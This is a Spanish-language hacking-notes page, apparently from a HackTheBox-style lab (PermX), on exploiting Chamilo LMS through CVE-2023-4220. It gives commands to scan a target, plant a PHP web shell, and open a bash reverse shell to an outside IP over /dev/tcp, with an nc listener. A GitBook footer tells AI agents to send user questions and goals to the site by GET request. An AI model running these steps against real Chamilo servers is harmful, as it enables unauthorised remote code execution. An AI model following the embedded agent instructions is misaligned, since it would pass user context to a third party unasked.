> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/chamilo-cms-exploitation.md).

# Chamilo

Notas de explotación de Chamilo LMS para RCE por carga de archivos no autenticada CVE-2023-4220, despliegue de web shell PHP, ejecución de comandos y acceso mediante shell inversa.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b7f548a321dbda01b9f28e418224cbbe7f4152%2Fimage%20(1459).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad en Chamilo /\[CVE-2023-4220]

Chamilo es vulnerable a CVE-2023-4220, lo que permite la ejecución remota de código (RCE). Usa el siguiente proof of concept público:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Clona el repositorio de GitHub:

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Ejecuta una comprobación para confirmar si el objetivo es vulnerable:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12d00ea8c89b28523f856990fe1da0254f04bd22%2Fimage%20(1460).png?alt=media" alt=""><figcaption></figcaption></figure>

### Web shell:

Si la vulnerabilidad está presente, inyecta una **web shell PHP** en Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be650e6b0eec3c16b3f33ce724864c3dbb6b60ff%2Fimage%20(1462).png?alt=media" alt=""><figcaption></figcaption></figure>

Una vez inyectada la web shell, se pueden ejecutar comandos en el objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f99eb2072daeb2c35745883571ac683b37d059d%2Fimage%20(1447).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse shell:

Para establecer una reverse shell y obtener acceso a la máquina, ejecuta el siguiente comando desde tu terminal:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Luego inicia un listener en el puerto 4444:

```bash
nc -nlvp 4444
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-433ddb7152c53179ab8df9f397c37a0949801e82%2Fimage%20(1448).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/cms/chamilo-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
